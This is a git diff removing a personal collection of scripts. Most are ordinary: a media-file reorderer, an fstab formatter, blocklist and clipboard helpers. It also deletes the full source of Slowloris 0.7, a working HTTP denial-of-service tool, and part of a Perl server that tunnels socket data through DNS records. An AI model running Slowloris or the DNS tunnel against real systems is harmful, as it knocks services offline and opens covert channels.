- if($sockdata_is_fresh){
- while($size != length($data)) {
- my $outdata;
- $outdata = substr($data, $size);
- $size += syswrite($sock, $outdata, length($data)-$size);
- if($size != length($data)){usleep (100 * 1000);}
- }
- $data="1"; #for now, we don't store incoming data
- }
- $sockdata{$op,$offset,$id}->data($data);
- my $reply = "$size.0.0.0";
- my $ttl = 0;
- push @ans, Net::DNS::RR->new("$qname $ttl $qclass A $reply");
- $rcode = "NOERROR";
-
- goto end;
- }
-
- sub reader {
- my @args = @_;
- my $sock = @args[0];
- my $queue= @args[1];
-
- while(1){
- if($queue->pending < 32) {
- sysread($sock, $data, 220);
- if(length($data)) {$queue->enqueue($data);}
- usleep (50 * 1000 / 10);
- }
- }
- }
-
- if($op eq "down"){ #intentionally not txt checking
- if($sockdata_is_fresh || length($data)==0) {
- $data = $socklist{$id}->queue->dequeue_nb;
- #sysread($sock, $data, 220);
- }
- $sockdata{$op,$offset,$id}->data($data);
- my $data1 = substr($data, 0, 110);
- my $data2 = substr($data, 110, 110);
- my $txt1 = encode_base64($data1);
- my $txt2 = encode_base64($data2);
- my $x = $socklist{$id}->queue->pending;
-
- push @ans, Net::DNS::RR->new("$qname $ttl $qclass $qtype \"$txt1\" \"$txt2\"");
- push @add, Net::DNS::RR->new("pending.$qname $ttl $qclass A $x.0.0.0");
- $rcode = "NOERROR";
- goto end;
- }
- }
-
- if ($function eq "b32" && $args[0] eq "set") {
- my $descrip = $args[1];
- my @data = @args[2..$#args];
- my $string = join(".", @data);
- #my $data = MIME::Base32::decode($string);
- $datastore{$descrip} = $qname; #$string;
- push @ans, Net::DNS::RR->new("$qname $ttl $qclass A 1.0.0.0");
- #push @ans, Net::DNS::RR->new("$qname $ttl $qclass TXT \"ok: $descrip = $string\"");
- $rcode = "NOERROR";
- goto end;
- }
- if ($function eq "b32" && $args[0] eq "get") {
- my $descrip = $args[1];
- if(exists $datastore{$descrip}){
- push @ans, Net::DNS::RR->new("$qname $ttl $qclass CNAME $datastore{$descrip}");
- push @add, Net::DNS::RR->new("$datastore{descrip} $ttl $qclass A 1.0.0.0");
- $rcode = "NOERROR";
- } else {
- $rcode = "NXDOMAIN";
- }
- goto end;
- }
-
- if ($qtype eq "TXT") {
- $val = `/bin/date`;
- chomp $val;
- $val = "Hi: $val";
- my ($ttl, $rdata) = (0, $val);
- push @ans, Net::DNS::RR->new("$qname $ttl $qclass $qtype \"$rdata\"");
- $rcode = "NOERROR";
- goto end;
- }
- if ($qtype eq "NS") {
- if($args[0] ne "ns"){ my ($ttl, $rdata) = (3600, "ns.$name");}
- push @ans, Net::DNS::RR->new("$qname $ttl $qclass $qtype $rdata");
- push @add, Net::DNS::RR->new("$qname $ttl $qclass $qtype $opts{ip}");
- $rcode = "NOERROR";
- goto end;
- }
-
-
- if ($qtype eq "A") {
- my ($ttl, $rdata) = (3600, $opts{ip});
- push @ans, Net::DNS::RR->new("$qname $ttl $qclass $qtype $rdata");
- $rcode = "NOERROR";
- goto end;
- }
-
- end:
- my $element, $name;
- print "\n";
- foreach $element (@ans, @auth, @add) {
- $name = $element->string;
- chomp $name;
- print $name, "\n";
- }
-
- # mark the answer as authoritive (by setting the 'aa' flag
- my @response = ($rcode, \@ans, \@auth, \@add, { aa => 1 });
- return @response;
-}
-if(length($opts{filename})) {open FILE, "$opts{filename}" or die $!;}
-binmode FILE;
-$opts{file}=FILE;
-
-my %datastore;
-
-# note that this socket is blocking -- WAY harder to do nonblocking with
-# callbacks (need fork/ipc).
-my %socklist : shared;
-%sockdata;
-
-my $ns = Net::DNS::Nameserver->new(
- LocalPort => 53,
- ReplyHandler => \&reply_handler,
- Verbose => 2,
-) || die "couldn't create nameserver object\n";
-
-$ns->main_loop;
-
diff --git a/ompload b/ompload
deleted file mode 100755
index 3eb7080..0000000
--- a/ompload
+++ /dev/null
@@ -1,4 +0,0 @@
-#!/bin/sh
-URL=`/usr/bin/ompload -u $@ | grep "http.*" -o`
-echo $URL
-echo -n $URL | nohup &>/dev/null xclip
diff --git a/pg_list_updater.sh b/pg_list_updater.sh
deleted file mode 100755
index 2ba4a6f..0000000
--- a/pg_list_updater.sh
+++ /dev/null
@@ -1,28 +0,0 @@
-#!/bin/sh
-#----------------------------------------------------
-# Version: 0.1.0
-# Author: Florian "Bluewind" Pritz <flo@xssn.at>
-#
-# Licensed under WTFPL v2
-# (see COPYING for full license text)
-#
-#----------------------------------------------------
-# download current blocklist and extract
-#----------------------------------------------------
-
-failed() {
- notify-send -t 10000 -u critical "Updater" "PG list NOT updated!"
-}
-finished(){
- notify-send -t 10000 "Updater" "PG list update sucessfully"
-}
-
-cd $HOME/stuff/
-wget http://peerguardian.sourceforge.net/lists/p2p.php -O level1.7z &&
-7z x level1.7z &&
-cat level1 | grep -vi moviex.info > p2p.pg &&
-finished ||
-failed
-
-rm "level1.7z"
-rm "level1"
diff --git a/qt-faststart.c b/qt-faststart.c
deleted file mode 100644
index 0ea9660..0000000
--- a/qt-faststart.c
+++ /dev/null
@@ -1,315 +0,0 @@
-/*
- * qt-faststart.c, v0.1
- * by Mike Melanson (melanson@pcisys.net)
- * This file is placed in the public domain. Use the program however you
- * see fit.
- *
- * This utility rearranges a Quicktime file such that the moov atom
- * is in front of the data, thus facilitating network streaming.
- *
- * To compile this program, start from the base directory from which you
- * are building FFmpeg and type:
- * make tools/qt-faststart
- * The qt-faststart program will be built in the tools/ directory. If you
- * do not build the program in this manner, correct results are not
- * guaranteed, particularly on 64-bit platforms.
- * Invoke the program with:
- * qt-faststart <infile.mov> <outfile.mov>
- *
- * Notes: Quicktime files can come in many configurations of top-level
- * atoms. This utility stipulates that the very last atom in the file needs
- * to be a moov atom. When given such a file, this utility will rearrange
- * the top-level atoms by shifting the moov atom from the back of the file
- * to the front, and patch the chunk offsets along the way. This utility
- * presently only operates on uncompressed moov atoms.
- */
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <inttypes.h>
-
-#ifdef __MINGW32__
-#define fseeko(x,y,z) fseeko64(x,y,z)
-#define ftello(x) ftello64(x)
-#endif
-
-#define BE_16(x) ((((uint8_t*)(x))[0] << 8) | ((uint8_t*)(x))[1])
-#define BE_32(x) ((((uint8_t*)(x))[0] << 24) | \
- (((uint8_t*)(x))[1] << 16) | \
- (((uint8_t*)(x))[2] << 8) | \
- ((uint8_t*)(x))[3])
-#define BE_64(x) (((uint64_t)(((uint8_t*)(x))[0]) << 56) | \
- ((uint64_t)(((uint8_t*)(x))[1]) << 48) | \
- ((uint64_t)(((uint8_t*)(x))[2]) << 40) | \
- ((uint64_t)(((uint8_t*)(x))[3]) << 32) | \
- ((uint64_t)(((uint8_t*)(x))[4]) << 24) | \
- ((uint64_t)(((uint8_t*)(x))[5]) << 16) | \
- ((uint64_t)(((uint8_t*)(x))[6]) << 8) | \
- ((uint64_t)((uint8_t*)(x))[7]))
-
-#define BE_FOURCC( ch0, ch1, ch2, ch3 ) \
- ( (uint32_t)(unsigned char)(ch3) | \
- ( (uint32_t)(unsigned char)(ch2) << 8 ) | \
- ( (uint32_t)(unsigned char)(ch1) << 16 ) | \
- ( (uint32_t)(unsigned char)(ch0) << 24 ) )
-
-#define QT_ATOM BE_FOURCC
-/* top level atoms */
-#define FREE_ATOM QT_ATOM('f', 'r', 'e', 'e')
-#define JUNK_ATOM QT_ATOM('j', 'u', 'n', 'k')
-#define MDAT_ATOM QT_ATOM('m', 'd', 'a', 't')
-#define MOOV_ATOM QT_ATOM('m', 'o', 'o', 'v')
-#define PNOT_ATOM QT_ATOM('p', 'n', 'o', 't')
-#define SKIP_ATOM QT_ATOM('s', 'k', 'i', 'p')
-#define WIDE_ATOM QT_ATOM('w', 'i', 'd', 'e')
-#define PICT_ATOM QT_ATOM('P', 'I', 'C', 'T')
-#define FTYP_ATOM QT_ATOM('f', 't', 'y', 'p')
-
-#define CMOV_ATOM QT_ATOM('c', 'm', 'o', 'v')
-#define STCO_ATOM QT_ATOM('s', 't', 'c', 'o')
-#define CO64_ATOM QT_ATOM('c', 'o', '6', '4')
-
-#define ATOM_PREAMBLE_SIZE 8
-#define COPY_BUFFER_SIZE 1024
-
-int main(int argc, char *argv[])
-{
- FILE *infile;
- FILE *outfile;
- unsigned char atom_bytes[ATOM_PREAMBLE_SIZE];
- uint32_t atom_type = 0;
- uint64_t atom_size = 0;
- uint64_t last_offset;
- unsigned char *moov_atom;
- unsigned char *ftyp_atom = 0;
- uint64_t moov_atom_size;
- uint64_t ftyp_atom_size = 0;
- uint64_t i, j;
- uint32_t offset_count;
- uint64_t current_offset;
- uint64_t start_offset = 0;
- unsigned char copy_buffer[COPY_BUFFER_SIZE];
- int bytes_to_copy;
-
- if (argc != 3) {
- printf ("Usage: qt-faststart <infile.mov> <outfile.mov>\n");
- return 0;
- }
-
- infile = fopen(argv[1], "rb");
- if (!infile) {
- perror(argv[1]);
- return 1;
- }
-
- /* traverse through the atoms in the file to make sure that 'moov' is
- * at the end */
- while (!feof(infile)) {
- if (fread(atom_bytes, ATOM_PREAMBLE_SIZE, 1, infile) != 1) {
- break;
- }
- atom_size = (uint32_t)BE_32(&atom_bytes[0]);
- atom_type = BE_32(&atom_bytes[4]);
-
- if ((atom_type != FREE_ATOM) &&
- (atom_type != JUNK_ATOM) &&
- (atom_type != MDAT_ATOM) &&
- (atom_type != MOOV_ATOM) &&
- (atom_type != PNOT_ATOM) &&
- (atom_type != SKIP_ATOM) &&
- (atom_type != WIDE_ATOM) &&
- (atom_type != PICT_ATOM) &&
- (atom_type != FTYP_ATOM)) {
- printf ("encountered non-QT top-level atom (is this a Quicktime file?)\n");
- break;
- }
-
- /* keep ftyp atom */
- if (atom_type == FTYP_ATOM) {
- ftyp_atom_size = atom_size;
- ftyp_atom = malloc(ftyp_atom_size);
- if (!ftyp_atom) {
- printf ("could not allocate 0x%llX byte for ftyp atom\n",
- atom_size);
- fclose(infile);
- return 1;
- }
- fseeko(infile, -ATOM_PREAMBLE_SIZE, SEEK_CUR);
- if (fread(ftyp_atom, atom_size, 1, infile) != 1) {
- perror(argv[1]);
- free(ftyp_atom);
- fclose(infile);
- return 1;
- }
- start_offset = ftello(infile);
- continue;
- }
-
- /* 64-bit special case */
- if (atom_size == 1) {
- if (fread(atom_bytes, ATOM_PREAMBLE_SIZE, 1, infile) != 1) {
- break;
- }
- atom_size = BE_64(&atom_bytes[0]);
- fseeko(infile, atom_size - ATOM_PREAMBLE_SIZE * 2, SEEK_CUR);
- } else {
- fseeko(infile, atom_size - ATOM_PREAMBLE_SIZE, SEEK_CUR);
- }
- }
-
- if (atom_type != MOOV_ATOM) {
- printf ("last atom in file was not a moov atom\n");
- fclose(infile);
- return 0;
- }
-
- /* moov atom was, in fact, the last atom in the chunk; load the whole
- * moov atom */
- fseeko(infile, -atom_size, SEEK_END);
- last_offset = ftello(infile);
- moov_atom_size = atom_size;
- moov_atom = malloc(moov_atom_size);
- if (!moov_atom) {
- printf ("could not allocate 0x%llX byte for moov atom\n",
- atom_size);
- fclose(infile);
- return 1;
- }
- if (fread(moov_atom, atom_size, 1, infile) != 1) {
- perror(argv[1]);
- free(moov_atom);
- fclose(infile);
- return 1;
- }
-
- /* this utility does not support compressed atoms yet, so disqualify
- * files with compressed QT atoms */
- if (BE_32(&moov_atom[12]) == CMOV_ATOM) {
- printf ("this utility does not support compressed moov atoms yet\n");
- free(moov_atom);
- fclose(infile);
- return 1;
- }
-
- /* close; will be re-opened later */
- fclose(infile);
-
- /* crawl through the moov chunk in search of stco or co64 atoms */
- for (i = 4; i < moov_atom_size - 4; i++) {
- atom_type = BE_32(&moov_atom[i]);
- if (atom_type == STCO_ATOM) {
- printf (" patching stco atom...\n");
- atom_size = BE_32(&moov_atom[i - 4]);
- if (i + atom_size - 4 > moov_atom_size) {
- printf (" bad atom size\n");
- free(moov_atom);
- return 1;
- }
- offset_count = BE_32(&moov_atom[i + 8]);
- for (j = 0; j < offset_count; j++) {
- current_offset = BE_32(&moov_atom[i + 12 + j * 4]);
- current_offset += moov_atom_size;
- moov_atom[i + 12 + j * 4 + 0] = (current_offset >> 24) & 0xFF;
- moov_atom[i + 12 + j * 4 + 1] = (current_offset >> 16) & 0xFF;
- moov_atom[i + 12 + j * 4 + 2] = (current_offset >> 8) & 0xFF;
- moov_atom[i + 12 + j * 4 + 3] = (current_offset >> 0) & 0xFF;
- }
- i += atom_size - 4;
- } else if (atom_type == CO64_ATOM) {
- printf (" patching co64 atom...\n");
- atom_size = BE_32(&moov_atom[i - 4]);
- if (i + atom_size - 4 > moov_atom_size) {
- printf (" bad atom size\n");
- free(moov_atom);
- return 1;
- }
- offset_count = BE_32(&moov_atom[i + 8]);
- for (j = 0; j < offset_count; j++) {
- current_offset = BE_64(&moov_atom[i + 12 + j * 8]);
- current_offset += moov_atom_size;
- moov_atom[i + 12 + j * 8 + 0] = (current_offset >> 56) & 0xFF;
- moov_atom[i + 12 + j * 8 + 1] = (current_offset >> 48) & 0xFF;
- moov_atom[i + 12 + j * 8 + 2] = (current_offset >> 40) & 0xFF;
- moov_atom[i + 12 + j * 8 + 3] = (current_offset >> 32) & 0xFF;
- moov_atom[i + 12 + j * 8 + 4] = (current_offset >> 24) & 0xFF;
- moov_atom[i + 12 + j * 8 + 5] = (current_offset >> 16) & 0xFF;
- moov_atom[i + 12 + j * 8 + 6] = (current_offset >> 8) & 0xFF;
- moov_atom[i + 12 + j * 8 + 7] = (current_offset >> 0) & 0xFF;
- }
- i += atom_size - 4;
- }
- }
-
- /* re-open the input file and open the output file */
- infile = fopen(argv[1], "rb");
- if (!infile) {
- perror(argv[1]);
- free(moov_atom);
- return 1;
- }
-
- if (start_offset > 0) { /* seek after ftyp atom */
- fseeko(infile, start_offset, SEEK_SET);
- last_offset -= start_offset;
- }
-
- outfile = fopen(argv[2], "wb");
- if (!outfile) {
- perror(argv[2]);
- fclose(outfile);
- free(moov_atom);
- return 1;
- }
-
- /* dump the same ftyp atom */
- if (ftyp_atom_size > 0) {
- printf (" writing ftyp atom...\n");
- if (fwrite(ftyp_atom, ftyp_atom_size, 1, outfile) != 1) {
- perror(argv[2]);
- goto error_out;
- }
- }
-
- /* dump the new moov atom */
- printf (" writing moov atom...\n");
- if (fwrite(moov_atom, moov_atom_size, 1, outfile) != 1) {
- perror(argv[2]);
- goto error_out;
- }
-
- /* copy the remainder of the infile, from offset 0 -> last_offset - 1 */
- printf (" copying rest of file...\n");
- while (last_offset) {
- if (last_offset > COPY_BUFFER_SIZE)
- bytes_to_copy = COPY_BUFFER_SIZE;
- else
- bytes_to_copy = last_offset;
-
- if (fread(copy_buffer, bytes_to_copy, 1, infile) != 1) {
- perror(argv[1]);
- goto error_out;
- }
- if (fwrite(copy_buffer, bytes_to_copy, 1, outfile) != 1) {
- perror(argv[2]);
- goto error_out;
- }
-
- last_offset -= bytes_to_copy;
- }
-
- fclose(infile);
- fclose(outfile);
- free(moov_atom);
- if (ftyp_atom_size > 0)
- free(ftyp_atom);
-
- return 0;
-
-error_out:
- fclose(infile);
- fclose(outfile);
- free(moov_atom);
- if (ftyp_atom_size > 0)
- free(ftyp_atom);
- return 1;
-}
diff --git a/reformat_fstab.pl b/reformat_fstab.pl
deleted file mode 100755
index 9c81d8d..0000000
--- a/reformat_fstab.pl
+++ /dev/null
@@ -1,70 +0,0 @@
-#! /usr/bin/perl
-use warnings;
-use strict;
-
-my $fstabFile = shift;
-my $fstabOld;
-my $fstab;
-my @fstabLines;
-push @fstabLines, ['# <file system>', '<dir>', '<type>', '<options>', '<dump>', '<pass>'];
-my @lengths = map {length($_)} @{$fstabLines[0]};
-my $longestLine;
-
-open(my $fh, '<'. $fstabFile) or die "Unable to open $fstabFile: $!\n";
-while(defined(my $line =<$fh>))
-{
- $fstabOld .= $line;
- $longestLine = (length($line) > $longestLine) ? length($line) : $longestLine;
- if ($line =~ m/^#/ and $line !~ m/<file system>/)
- {
- $fstab .= $line;
- }
- elsif ($line =~ m/^#/ and $line =~ m/<file system>/)
- {
- next;
- }
- else
- {
- $line =~ s/ +/ /g;
- my @fields = split ' ',$line;
- push @fstabLines, \@fields;
- for (my $i; $i < scalar @fields; $i += 1)
- {
- if (length($fields[$i]) > $lengths[$i])
- {
- $lengths[$i] = length($fields[$i]);
- }
- }
- }
-
-}
-close $fh;
-
-my $printfStr = join '', map( {'%-'.($_+1).'s';} @lengths);
-
-foreach my $line (@fstabLines)
-{
- my @line = @{$line};
- $line = sprintf($printfStr, @line)."\n";
- $fstab .= $line;
- $longestLine = (length($line) > $longestLine) ? length($line) : $longestLine;
-}
-
-my $separator = ('-' x $longestLine)."\n";
-
-print "\n",$separator, "ORIGINAL FILE\n", $separator, $fstabOld, $separator, "REFORMATTED FILE\n", $separator, $fstab, $separator;
-
-print "Overwrite old file with new one? (y/n) ";
-my $ans = <>;
-chomp $ans;
-if ($ans eq 'y')
-{
- open(my $fh, '>', $fstabFile) or die "Unable to open $fstabFile: $!\n";
- print $fh $fstab;
- close $fh;
-}
-else
-{
- print "Exiting without saving...\n";
- exit;
-}
diff --git a/revdepwalk b/revdepwalk
deleted file mode 120000
index 8f724c6..0000000
--- a/revdepwalk
+++ /dev/null
@@ -1 +0,0 @@
-remotes/falconindy-bin/revdepwalk \ No newline at end of file
diff --git a/send-link-to-phone.sh b/send-link-to-phone.sh
deleted file mode 100755
index d08db42..0000000
--- a/send-link-to-phone.sh
+++ /dev/null
@@ -1,3 +0,0 @@
-#!/bin/zsh
-
-ssh aero 'dbus-send --system --type=method_call --dest=com.nokia.osso_browser /com/nokia/osso_browser/request com.nokia.osso_browser.load_url string:"'$1'"'
diff --git a/shell2html b/shell2html
deleted file mode 100755
index 407f40c..0000000
--- a/shell2html
+++ /dev/null
@@ -1,19 +0,0 @@
-#!/bin/sh
-
-COLORS="30=1a1a1a 31=993d6b 32=6b993d 33=996b3d 34=3d6b99 35=6b3d99 36=3d996b 37=cccccc 0=000000 1;30=4d4d4d 1;31=f5007b 1;32=7bf500 1;33=f57900 1;34=007bf5 1;35=7b00f5 1;36=00f57b 1;37=e6e6e6"
-
-sedstring=""
-for it in $COLORS; do
- shell=$(echo $it | cut -d= -f1)
- html=$(echo $it | cut -d= -f2)
- sedstring="${sedstring} s|\[(0)?(;)?${shell}m|\<\/font\>\<font color=\"\#${html}\"\>|g;"
-done
-
-#sedstring="${sedstring} s|</font>||;"
-sedstring="${sedstring} s|\[(0)?(;)?m|\<\/font\>\<font color=\"\#000000\"\>|g;"
-sedstring="${sedstring} 1s|^|<font color=\"#000000\">|;"
-sedstring="${sedstring} \$s|$|</font>|;"
-
-for file in $@; do
- sed -r "${sedstring}" "${file}"
-done
diff --git a/slowloris.pl b/slowloris.pl
deleted file mode 100755
index 6390706..0000000
--- a/slowloris.pl
+++ /dev/null
@@ -1,467 +0,0 @@
-#!/usr/bin/perl -w
-use strict;
-use IO::Socket::INET;
-use IO::Socket::SSL;
-use Getopt::Long;
-use Config;
-
-$SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors
-
-print <<EOTEXT;
-
-CCCCCCCCCCOOCCOOOOO888\@8\@8888OOOOCCOOO888888888\@\@\@\@\@\@\@\@\@8\@8\@\@\@\@888OOCooocccc::::
-CCCCCCCCCCCCCCCOO888\@888888OOOCCCOOOO888888888888\@88888\@\@\@\@\@\@\@888\@8OOCCoococc:::
-CCCCCCCCCCCCCCOO88\@\@888888OOOOOOOOOO8888888O88888888O8O8OOO8888\@88\@\@8OOCOOOCoc::
-CCCCooooooCCCO88\@\@8\@88\@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888\@8888OOOCc::::
-CooCoCoooCCCO8\@88\@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc:
-ooooooCoCCC88\@88888\@888OO8888888888888888O8O8888OOCCCooooccccccCOOOO88\@888OCoccc
-ooooCCOO8O888888888\@88O8OO88888OO888O8888OOOO88888OCocoococ::ccooCOO8O888888Cooo
-oCCCCCCO8OOOCCCOO88\@88OOOOOO8888O888OOOOOCOO88888O8OOOCooCocc:::coCOOO888888OOCC
-oCCCCCOOO88OCooCO88\@8OOOOOO88O888888OOCCCCoCOOO8888OOOOOOOCoc::::coCOOOO888O88OC
-oCCCCOO88OOCCCCOO8\@\@8OOCOOOOO8888888OoocccccoCO8O8OO88OOOOOCc.:ccooCCOOOO88888OO
-CCCOOOO88OOCCOOO8\@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O
-CCCOO88888OOCOO8\@\@888OCcc:::cCOO888Oc..... ....cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO
-OOOOOO88888OOOO8\@8\@8Ooc:.:...cOO8O88c. . .coOOO888OOOOCoooooccoCOOOOOCOOOO
-OOOOO888\@8\@88888888Oo:. . ...cO888Oc.. :oOOOOOOOOOCCoocooCoCoCOOOOOOOO
-COOO888\@88888888888Oo:. .O8888C: .oCOo. ...cCCCOOOoooooocccooooooooCCCOO
-CCCCOO888888O888888Oo. .o8Oo. .cO88Oo: :. .:..ccoCCCooCooccooccccoooooCCCC
-coooCCO8\@88OO8O888Oo:::... .. :cO8Oc. . ..... :. .:ccCoooooccoooocccccooooCCC
-:ccooooCO888OOOO8OOc..:...::. .co8\@8Coc::.. .... ..:cooCooooccccc::::ccooCCooC
-.:::coocccoO8OOOOOOC:..::....coCO8\@8OOCCOc:... ....:ccoooocccc:::::::::cooooooC
-....::::ccccoCCOOOOOCc......:oCO8\@8\@88OCCCoccccc::c::.:oCcc:::cccc:..::::coooooo
-.......::::::::cCCCCCCoocc:cO888\@8888OOOOCOOOCoocc::.:cocc::cc:::...:::coocccccc
-...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc::::::.......:ccocccc:co
-.............::....:oCCoooooCOOCCOCCCoccococc:::::coc::::....... ...:::cccc:cooo
- ..... ............. .coocoooCCoco:::ccccccc:::ccc::.......... ....:::cc::::coC
- . . ... .... .. .:cccoCooc:.. ::cccc:::c:.. ......... ......::::c:cccco
- . .. ... .. .. .. ..:...:cooc::cccccc:..... ......... .....:::::ccoocc
- . . .. ..::cccc:.::ccoocc:. ........... .. . ..:::.:::::::ccco
-
- Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
-
-EOTEXT
-
-my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
-my ( $cache, $httpready, $method, $ssl, $rand, $tcpto );
-my $result = GetOptions(
- 'shost=s' => \$shost,
- 'dns=s' => \$host,
- 'httpready' => \$httpready,
- 'num=i' => \$connections,
- 'cache' => \$cache,
- 'port=i' => \$port,
- 'https' => \$ssl,
- 'tcpto=i' => \$tcpto,
- 'test' => \$test,
- 'timeout=i' => \$timeout,
- 'version' => \$version,
-);
-
-if ($version) {
- print "Version 0.7\n";
- exit;
-}
-
-unless ($host) {
- print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n";
- print "\n\tType 'perldoc $0' for help with options.\n\n";
- exit;
-}
-
-unless ($port) {
- $port = 80;
- print "Defaulting to port 80.\n";
-}
-
-unless ($tcpto) {
- $tcpto = 5;
- print "Defaulting to a 5 second tcp connection timeout.\n";
-}
-
-unless ($test) {
- unless ($timeout) {
- $timeout = 100;
- print "Defaulting to a 100 second re-try timeout.\n";
- }
- unless ($connections) {
- $connections = 1000;
- print "Defaulting to 1000 connections.\n";
- }
-}
-
-my $usemultithreading = 0;
-if ( $Config{usethreads} ) {
- print "Multithreading enabled.\n";
- $usemultithreading = 1;
- use threads;
- use threads::shared;
-}
-else {
- print "No multithreading capabilites found!\n";
- print "Slowloris will be slower than normal as a result.\n";
-}
-
-my $packetcount : shared = 0;
-my $failed : shared = 0;
-my $connectioncount : shared = 0;
-
-srand() if ($cache);
-
-if ($shost) {
- $sendhost = $shost;
-}
-else {
- $sendhost = $host;
-}
-if ($httpready) {
- $method = "POST";
-}
-else {
- $method = "GET";
-}
-
-if ($test) {
- my @times = ( "2", "30", "90", "240", "500" );
- my $totaltime = 0;
- foreach (@times) {
- $totaltime = $totaltime + $_;
- }
- $totaltime = $totaltime / 60;
- print "This test could take up to $totaltime minutes.\n";
-
- my $delay = 0;
- my $working = 0;
- my $sock;
-
- if ($ssl) {
- if (
- $sock = new IO::Socket::SSL(
- PeerAddr => "$host",
- PeerPort => "$port",
- Timeout => "$tcpto",
- Proto => "tcp",
- )
- )
- {
- $working = 1;
- }
- }
- else {
- if (
- $sock = new IO::Socket::INET(
- PeerAddr => "$host",
- PeerPort => "$port",
- Timeout => "$tcpto",
- Proto => "tcp",
- )
- )
- {
- $working = 1;
- }
- }
- if ($working) {
- if ($cache) {
- $rand = "?" . int( rand(99999999999999) );
- }
- else {
- $rand = "";
- }
- my $primarypayload =
- "GET /$rand HTTP/1.1\r\n"
- . "Host: $sendhost\r\n"
- . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
- . "Content-Length: 42\r\n";
- if ( print $sock $primarypayload ) {
- print "Connection successful, now comes the waiting game...\n";
- }
- else {
- print
-"That's odd - I connected but couldn't send the data to $host:$port.\n";
- print "Is something wrong?\nDying.\n";
- exit;
- }
- }
- else {
- print "Uhm... I can't connect to $host:$port.\n";
- print "Is something wrong?\nDying.\n";
- exit;
- }
- for ( my $i = 0 ; $i <= $#times ; $i++ ) {
- print "Trying a $times[$i] second delay: \n";
- sleep( $times[$i] );
- if ( print $sock "X-a: b\r\n" ) {
- print "\tWorked.\n";
- $delay = $times[$i];
- }
- else {
- if ( $SIG{__WARN__} ) {
- $delay = $times[ $i - 1 ];
- last;
- }
- print "\tFailed after $times[$i] seconds.\n";
- }
- }
-
- if ( print $sock "Connection: Close\r\n\r\n" ) {
- print "Okay that's enough time. Slowloris closed the socket.\n";
- print "Use $delay seconds for -timeout.\n";
- exit;
- }
- else {
- print "Remote server closed socket.\n";
- print "Use $delay seconds for -timeout.\n";
- exit;
- }
- if ( $delay < 166 ) {
- print <<EOSUCKS2BU;
-Since the timeout ended up being so small ($delay seconds) and it generally
-takes between 200-500 threads for most servers and assuming any latency at
-all... you might have trouble using Slowloris against this target. You can
-tweak the -timeout flag down to less than 10 seconds but it still may not
-build the sockets in time.
-EOSUCKS2BU
- }
-}
-else {
- print
-"Connecting to $host:$port every $timeout seconds with $connections sockets:\n";
-
- if ($usemultithreading) {
- domultithreading($connections);
- }
- else {
- doconnections( $connections, $usemultithreading );
- }
-}
-
-sub doconnections {
- my ( $num, $usemultithreading ) = @_;
- my ( @first, @sock, @working );
- my $failedconnections = 0;
- $working[$_] = 0 foreach ( 1 .. $num ); #initializing
- $first[$_] = 0 foreach ( 1 .. $num ); #initializing
- while (1) {
- $failedconnections = 0;
- print "\t\tBuilding sockets.\n";
- foreach my $z ( 1 .. $num ) {
- if ( $working[$z] == 0 ) {
- if ($ssl) {
- if (
- $sock[$z] = new IO::Socket::SSL(
- PeerAddr => "$host",
- PeerPort => "$port",
- Timeout => "$tcpto",
- Proto => "tcp",
- )
- )
- {
- $working[$z] = 1;
- }
- else {
- $working[$z] = 0;
- }
- }
- else {
- if (
- $sock[$z] = new IO::Socket::INET(
- PeerAddr => "$host",
- PeerPort => "$port",
- Timeout => "$tcpto",
- Proto => "tcp",
- )
- )
- {
- $working[$z] = 1;
- $packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK
- }
- else {
- $working[$z] = 0;
- }
- }
- if ( $working[$z] == 1 ) {
- if ($cache) {
- $rand = "?" . int( rand(99999999999999) );
- }
- else {
- $rand = "";
- }
- my $primarypayload =
- "$method /$rand HTTP/1.1\r\n"
- . "Host: $sendhost\r\n"
- . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
- . "Content-Length: 42\r\n";
- my $handle = $sock[$z];
- if ($handle) {
- print $handle "$primarypayload";
- if ( $SIG{__WARN__} ) {
- $working[$z] = 0;
- close $handle;
- $failed++;
- $failedconnections++;
- }
- else {
- $packetcount++;
- $working[$z] = 1;
- }
- }
- else {
- $working[$z] = 0;
- $failed++;
- $failedconnections++;
- }
- }
- else {
- $working[$z] = 0;
- $failed++;
- $failedconnections++;
- }
- }
- }
- print "\t\tSending data.\n";
- foreach my $z ( 1 .. $num ) {
- if ( $working[$z] == 1 ) {
- if ( $sock[$z] ) {
- my $handle = $sock[$z];
- if ( print $handle "X-a: b\r\n" ) {
- $working[$z] = 1;
- $packetcount++;
- }
- else {
- $working[$z] = 0;
- #debugging info
- $failed++;
- $failedconnections++;
- }
- }
- else {
- $working[$z] = 0;
- #debugging info
- $failed++;
- $failedconnections++;
- }
- }
- }
- print
-"Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n";
- sleep($timeout);
- }
-}
-
-sub domultithreading {
- my ($num) = @_;
- my @thrs;
- my $i = 0;
- my $connectionsperthread = 50;
- while ( $i < $num ) {
- $thrs[$i] =
- threads->create( \&doconnections, $connectionsperthread, 1 );
- $i += $connectionsperthread;
- }
- my @threadslist = threads->list();
- while ( $#threadslist > 0 ) {
- $failed = 0;
- }
-}
-
-__END__
-
-=head1 TITLE
-
-Slowloris
-
-=head1 VERSION
-
-Version 0.7 Beta
-
-=head1 DATE
-
-06/17/2009
-
-=head1 AUTHOR
-
-RSnake <h@ckers.org> with threading from John Kinsella
-
-=head1 ABSTRACT
-
